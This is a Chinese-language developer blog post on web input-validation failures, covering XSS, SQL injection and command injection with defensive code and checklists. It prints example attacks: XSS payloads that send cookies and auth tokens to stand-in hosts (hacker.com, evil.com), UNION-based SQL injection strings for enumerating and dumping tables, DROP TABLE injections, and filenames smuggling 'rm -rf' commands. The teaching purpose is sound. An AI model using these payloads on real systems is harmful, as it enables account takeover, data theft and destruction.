LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

90%的网站安全漏洞,都因为程序员忘了这一步

admin
2025年12月23日 9:13 本文热度 1095

一个让我一夜没睡的工单

凌晨2点,我被钉钉消息吵醒。

运维组长发来的消息只有一句话:"兄弟,咱们的用户数据可能泄露了,你快看看后台。"

我睡意全无,立刻打开电脑。果然,日志里全是异常请求,数据库查询记录暴增了10倍。更可怕的是,有人正在批量导出用户的手机号和邮箱。

我花了整整一个通宵才找到问题根源:一个看似普通的评论功能,因为没做输入过滤,被人注入了恶意脚本。

这不是什么高级APT攻击,更不是什么0day漏洞。就是最基础的XSS和SQL注入,利用了我一个月前为了赶版本deadline而留下的"小疏忽"。

那天我明白了一个道理:大部分安全事故,不是因为技术不够强,而是因为某个瞬间,你觉得"这里应该没问题"。

今天,咱们就来深挖一下这个让无数程序员栽跟头的坑。

数据与代码的那条红线

很多人不理解为什么"用户输入"会这么危险。咱们先从本质上聊聊。

Web应用本质上就是个数据翻译机:

  • 用户提交数据
  • 应用处理数据
  • 浏览器/数据库执行代码

问题就出在这里:如果你让"数据"变成了"代码",游戏就结束了。

举个最简单的例子

假设你在开发一个评论系统,用户提交了这段文字:

<script>
  fetch('https://hacker.com/steal?data=' + document.cookie)
</script>

如果你直接把这段内容渲染到页面上:

// ❌ 危险的写法
document.getElementById('comment').innerHTML = userInput;

恭喜,你刚刚给黑客开了个后门。这段脚本会在每个访问者的浏览器里执行,偷走他们的登录凭证。

攻击链路图

让我用图展示一下完整的攻击流程:

用户提交恶意脚本
       ↓
   后端未过滤
       ↓
   存入数据库
       ↓
   前端直接渲染
       ↓
浏览器执行恶意代码
       ↓
   Cookie被窃取
       ↓
  黑客劫持账号

看到了吗?这条链路上,只要有一个环节做了过滤,攻击就会失败。但现实是,很多团队在每个环节都没做。

XSS:前端开发者的噩梦

XSS攻击的技术剖析

让我们看一个典型的XSS攻击场景。假设某电商网站的商品评论功能允许用户提交以下内容:

<img src=x onerror="
  let token = localStorage.getItem('auth_token');
  fetch('https://evil.com/collect', {
    method: 'POST',
    body: JSON.stringify({
      token: token,
      user: document.querySelector('.username').innerText
    })
  });
"
>

这段代码的危险之处在于:

  1. 利用<img>标签的onerror事件
  2. 图片加载失败时触发JavaScript执行
  3. 窃取LocalStorage中的认证Token
  4. 将数据发送到攻击者的服务器

为什么这么危险?

根据OWASP的数据,被窃取的Token可以:

  • 直接登录受害者账户(会话劫持)
  • 冒充用户发起交易
  • 修改用户资料
  • 继续传播恶意代码

在实际攻防中,一个成功的XSS攻击,从注入到账户被控制,平均只需要不到30秒

XSS的三种形态

1. 存储型XSS(Stored XSS)

恶意代码被存储在服务器数据库中,每次页面加载时都会执行。这是最危险的类型。

// 典型场景:评论、留言板、个人简介
const comment = req.body.comment; // 用户输入的评论
await db.query('INSERT INTO comments (content) VALUES (?)', [comment]);

// 下次渲染时
const comments = await db.query('SELECT * FROM comments');
// ❌ 直接渲染,危险!
html += `<div>${comment.content}</div>`;

2. 反射型XSS(Reflected XSS)

恶意代码包含在URL参数中,服务器将其反射回页面。

// 典型场景:搜索功能
app.get('/search', (req, res) => {
  const keyword = req.query.q;
  // ❌ 直接输出到页面
  res.send(`<h1>搜索结果: ${keyword}</h1>`);
});

// 攻击URL:
// /search?q=<script>alert(document.cookie)</script>

3. DOM型XSS(DOM-based XSS)

完全发生在前端,JavaScript直接操作DOM时触发。

// ❌ 危险的前端代码
const urlParams = new URLSearchParams(window.location.search);
const message = urlParams.get('msg');
document.getElementById('output').innerHTML = message;

防御方案:三道防线

第一道:转义输出

React、Vue这些现代框架默认会转义,但你得用对:

// ✅ 安全 - React自动转义
function Comment({ text }{
  return <div>{text}</div>;
}

// ❌ 危险 - 绕过了React的保护
function Comment({ html }{
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

原生JavaScript中,永远使用textContent而不是innerHTML:

// ✅ 安全
element.textContent = userInput;

// ❌ 危险
element.innerHTML = userInput;

第二道:HTML消毒

如果你真的需要支持富文本(比如Markdown渲染),必须用专业的消毒库:

import DOMPurify from 'dompurify';

// 白名单方式,只保留安全标签
const clean = DOMPurify.sanitize(dirtyHTML, {
  ALLOWED_TAGS: ['p''br''strong''em''a'],
  ALLOWED_ATTR: ['href']
});

第三道:内容安全策略(CSP)

在HTTP响应头中设置CSP,从浏览器层面限制脚本执行:

// Express示例
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self' 'nonce-random123'; style-src 'self' 'unsafe-inline'"
  );
  next();
});

这样,即使有XSS漏洞,恶意脚本也无法执行,因为它不在白名单内。

SQL注入:后端的定时炸弹

字节跳动面试真题改编

面试官曾经问过我这样一道题:

"如果用户在登录框输入:admin' OR '1'='1' --,会发生什么?"

我当时回答:"这是SQL注入,会绕过密码验证。"

面试官又问:"那如果用户输入:admin'; DROP TABLE users; --呢?"

我愣了一下,然后倒吸一口凉气。

是的,如果你的代码是这样写的:

const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
db.query(sql);

那么用户的输入会变成:

SELECT * FROM users WHERE username='admin' OR '1'='1' -- ' AND password=''

--是SQL注释符,后面的内容全部被忽略。这个查询永远返回true,用户无需密码就能登录。

更可怕的是第二种情况:

SELECT * FROM users WHERE username='admin'DROP TABLE users-- ' AND password=''

你的整个users表会被直接删除。一个登录框,就能摧毁整个数据库。

SQL注入攻击全景

用户输入恶意SQL片段
       ↓
后端字符串拼接查询
       ↓
    数据库执行
       ↓
┌─────────────────┬─────────────────┬─────────────────┐
│  绕过身份验证    │    窃取数据      │    删除数据      │
│   OR '1'='1'   │  UNION SELECT  │   DROP TABLE   │
└─────────────────┴─────────────────┴─────────────────┘

SQL注入攻击的技术演示

让我演示一个完整的SQL注入攻击链。假设某网站的后台管理系统有这样一个用户搜索功能:

-- 后台的用户搜索SQL
SELECT * FROM users WHERE phone LIKE '%{searchTerm}%'

如果searchTerm直接来自用户输入且未经过滤,攻击者可以这样操作:

第一步: 探测数据库结构

输入:

%' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database() --

执行后的完整SQL:

SELECT * FROM users WHERE phone LIKE '%%' 
UNION SELECT NULL,table_name,NULL 
FROM information_schema.tables 
WHERE table_schema=database() -- %'

这样就能获取到所有表名:usersorderspayments等。

第二步: 获取表结构

%' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users' --

第三步: 批量导出数据

%' UNION SELECT user_id,phone,email FROM users --

整个过程可能只需要5-10分钟,而这个漏洞可能已经存在了数月甚至数年。

根据Verizon的《数据泄露调查报告》,86%的SQL注入攻击在数小时内就能完成数据窃取,但企业平均发现时间却长达197天

防御方案:参数化查询

永远、永远、永远不要用字符串拼接构建SQL!

// ❌ 危险
const sql = `SELECT * FROM users WHERE id = ${userId}`;
db.query(sql);

// ✅ 安全 - 参数化查询
const sql = 'SELECT * FROM users WHERE id = ?';
db.query(sql, [userId]);

// ✅ 安全 - Prepared Statement
const stmt = db.prepare('SELECT * FROM users WHERE id = ?');
stmt.get(userId);

为什么参数化查询安全?因为数据库会把?位置的内容当作纯数据,而不是SQL语句的一部分。即使用户输入了'; DROP TABLE这样的内容,也只会被当作普通字符串查询。

ORM不是银弹

很多人觉得用了Sequelize或TypeORM就万无一失了。真的吗?

// ❌ ORM也有坑
const User = sequelize.define('User', {/*...*/});

// 这样写依然危险!
User.findAll({
  where: sequelize.literal(`username = '${req.body.username}'`)
});

// ✅ 正确的ORM用法
User.findAll({
  where: { username: req.body.username }
});

记住:ORM只是工具,不检查你怎么用。

命令注入:最致命的漏洞

相比XSS和SQL注入,命令注入的危害更直接:它能让黑客直接控制你的服务器。

命令注入的危险性

让我演示一个命令注入的技术场景。假设某图片处理服务的后端代码是这样的:

const { exec } = require('child_process');

app.post('/compress', (req, res) => {
  const filename = req.body.filename;
  // ❌ 直接拼接用户输入到shell命令
  exec(`convert ${filename} -quality 80 output.jpg`, (err, stdout) => {
    if (err) return res.status(500).send('压缩失败');
    res.send('压缩成功');
  });
});

攻击者构造这样的请求:

POST /compress
{
  "filename""test.jpg; rm -rf /var/www/html; "
}

实际执行的命令变成:

convert test.jpg; rm -rf /var/www/html;  -quality 80 output.jpg

攻击效果:

  1. convert test.jpg - 正常执行图片转换
  2. ; - 结束第一个命令
  3. rm -rf /var/www/html - 删除整个网站目录
  4. ; - 结束第二个命令
  5. 后面的参数被忽略

在Linux系统中,分号;可以连接多个命令顺序执行。一个看似无害的文件名参数,就能让攻击者完全控制服务器。

根据CVE数据库统计,命令注入漏洞的CVSS评分平均高达9.8分(满分10分),是危害最严重的漏洞类型之一。

命令注入的防御

1. 永远不要用execsystem执行用户输入

// ❌ 危险
exec(`ping ${userIP}`);

// ✅ 使用参数化的API
const { execFile } = require('child_process');
execFile('ping', ['-c''4', userIP]);

2. 严格验证输入

const validIP = /^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$/;
if (!validIP.test(userIP)) {
  return res.status(400).send('无效的IP地址');
}

3. 使用白名单而非黑名单

// ❌ 黑名单 - 容易遗漏
const dangerous = ['rm''dd''mkfs'];
if (dangerous.some(cmd => userInput.includes(cmd))) {
  return res.status(400).send('非法命令');
}

// ✅ 白名单 - 更安全
const allowedCommands = ['convert''ffmpeg''pngquant'];
if (!allowedCommands.includes(command)) {
  return res.status(400).send('不支持的命令');
}

一个完整的防御体系

输入验证三原则

┌────────────────────────────────────────────┐
│           输入验证三原则                     │
├────────────────────────────────────────────┤
│                                            │
│  1. 类型检查: 确保数据类型正确               │
│     ├─ 字符串、数字、布尔值                 │
│     └─ 使用TypeScript或Zod等工具           │
│                                            │
│  2. 格式验证: 确保数据格式合法               │
│     ├─ 邮箱、手机号、URL                   │
│     └─ 使用正则表达式或验证库               │
│                                            │
│  3. 范围限制: 确保数据在安全范围内           │
│     ├─ 字符串长度限制                       │
│     ├─ 数值大小限制                         │
│     └─ 文件大小限制                         │
│                                            │
└────────────────────────────────────────────┘

实战代码:构建一个安全的API

import { z } from'zod';
import DOMPurify from'dompurify';
import { JSDOM } from'jsdom';

// 创建服务端的DOMPurify实例
constwindow = new JSDOM('').window;
const purify = DOMPurify(window);

// 定义输入验证Schema
const CommentSchema = z.object({
content: z.string()
    .min(1'评论不能为空')
    .max(500'评论不能超过500字'),
userId: z.number().int().positive(),
postId: z.number().int().positive()
});

// 安全的评论发布接口
app.post('/api/comments'async (req, res) => {
try {
    // 第一步:验证输入格式
    const validated = CommentSchema.parse(req.body);
    
    // 第二步:HTML消毒(如果支持富文本)
    const safeContent = purify.sanitize(validated.content, {
      ALLOWED_TAGS: ['b''i''em''strong'],
      ALLOWED_ATTR: []
    });
    
    // 第三步:使用参数化查询存储
    const sql = `
      INSERT INTO comments (user_id, post_id, content, created_at) 
      VALUES (?, ?, ?, NOW())
    `
;
    await db.query(sql, [
      validated.userId,
      validated.postId,
      safeContent
    ]);
    
    res.json({ successtrue });
    
  } catch (error) {
    if (error instanceof z.ZodError) {
      return res.status(400).json({ 
        error'输入验证失败',
        details: error.errors 
      });
    }
    res.status(500).json({ error'服务器错误' });
  }
});

// 安全的评论获取接口
app.get('/api/comments/:postId'async (req, res) => {
const postId = parseInt(req.params.postId);

// 验证postId是否为有效数字
if (isNaN(postId) || postId <= 0) {
    return res.status(400).json({ error'无效的文章ID' });
  }

const sql = 'SELECT * FROM comments WHERE post_id = ? ORDER BY created_at DESC';
const comments = await db.query(sql, [postId]);

  res.json(comments);
});

Cookie安全配置

很多人忽略了Cookie的安全设置,这也是XSS窃取凭证的重要途径:

// ❌ 不安全的Cookie
res.cookie('auth_token', token);

// ✅ 安全的Cookie配置
res.cookie('auth_token', token, {
httpOnlytrue,      // 禁止JavaScript访问,防止XSS窃取
securetrue,        // 只在HTTPS下传输
sameSite'strict',  // 防止CSRF攻击
maxAge3600000,     // 1小时后过期
signedtrue         // 使用签名防止篡改
});

一套可落地的安全检查清单

代码提交前的自查

## 前端安全检查
[ ] 所有用户输入都使用了`textContent`而非`innerHTML`?
[ ] 使用`dangerouslySetInnerHTML`的地方都经过了DOMPurify消毒?
[ ] LocalStorage中没有存储敏感信息(如Token)?
[ ] 所有表单都有客户端验证?
[ ] API请求都包含了CSRF Token?

## 后端安全检查
[ ] 所有SQL查询都使用了参数化查询或ORM?
[ ] 没有使用字符串拼接构建SQL语句?
[ ] 所有API端点都有输入验证?
[ ] 敏感操作都需要二次验证?
[ ] 错误信息不会泄露系统细节?
[ ] 日志中没有记录密码等敏感信息?

## 服务器安全检查
[ ] 设置了Content-Security-Policy?
[ ] Cookie使用了httpOnly、secure、sameSite?
[ ] 限制了上传文件的类型和大小?
[ ] 关闭了不必要的端口和服务?
[ ] 使用了Web应用防火墙(WAF)?

团队层面的安全文化

1. 建立Code Review机制

每次Pull Request必须检查:

  • 是否有未过滤的用户输入
  • 是否有字符串拼接的SQL
  • 是否使用了危险的函数(eval, exec, innerHTML)

2. 配置ESLint规则

// .eslintrc.js
module.exports = {
  rules: {
    'no-eval''error',
    'no-implied-eval''error',
    'no-new-func''error',
    'security/detect-object-injection''warn',
    'security/detect-non-literal-regexp''warn',
    'security/detect-unsafe-regex''error'
  },
  plugins: ['security']
};

3. 定期安全审计

每季度使用工具扫描:

  • OWASP ZAP
  • Burp Suite
  • npm audit(Node.js项目)
  • Snyk(依赖漏洞扫描)

安全漏洞的真实代价

根据国家互联网应急中心(CNCERT)发布的《中国互联网网络安全报告》,2023年:

  • SQL注入漏洞占Web应用漏洞的32.8%
  • XSS漏洞占比达到28.4%
  • 平均每个数据泄露事件造成的经济损失超过2000万元

命令注入的潜在风险场景

想象一个在线文件转换服务,如果后端代码是这样写的:

// 将用户上传的视频转换为MP4格式
exec(`ffmpeg -i ${uploadedFileName} output.mp4`);

攻击者只需要上传一个文件名为video.avi; rm -rf /的文件,就能:

  1. 正常的ffmpeg命令被中断
  2. 服务器执行rm -rf /删除根目录
  3. 整个服务器系统瘫痪

这不是危言耸听,HackerOne平台上公开的命令注入漏洞赏金,最高达到过$10,000美元

SQL注入的真实影响

根据OWASP Foundation的统计:

  • 78%的组织在过去一年中至少遭受过一次SQL注入攻击
  • 平均修复时间:3-5个工作日
  • 平均业务中断成本:每小时$5,600美元

一个典型的SQL注入攻击流程:

第1天: 黑客发现登录页面存在SQL注入
第2天: 使用UNION查询获取数据库结构
第3天: 批量导出用户表数据
第4天: 在地下论坛出售数据
第5天: 企业收到勒索邮件
第6天: 数据泄露被媒体曝光
第7天: 股价下跌,用户流失,监管约谈

这个时间线在众多安全事件中反复上演。而防御成本?可能只是几行正确的代码。

写在最后:安全是一种习惯

回到文章开头那个凌晨2点的工单。

那次事故让我意识到:安全不是需要额外付出的成本,而是节约成本的最佳方式。

一行参数化查询的代码,可能就为你节省了上千万的赔偿。一次严格的Code Review,可能就避免了一次公关危机。

安全防护的投入产出比,远比你想象的高。

三个建议送给所有开发者

  1. 建立"默认不信任"的编码习惯

    • 任何来自用户、第三方API、甚至数据库的数据,都应该被视为潜在威胁
    • 在边界处做验证,不要假设上游已经处理过
  2. 用工具替代人工检查

    • 配置ESLint、SonarQube等代码扫描工具
    • 在CI/CD流程中加入安全检测步骤
    • 定期运行npm audit或Snyk扫描依赖漏洞
  3. 培养团队的安全意识

    • 每季度组织一次安全培训
    • 建立安全事件应急预案
    • 鼓励团队成员报告潜在的安全隐患

记住一句话:你永远不知道黑客会从哪个角落钻进来,但你可以确保每个门窗都上了锁。


阅读原文:原文链接


该文章在 2025/12/23 10:17:50 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2026 ClickSun All Rights Reserved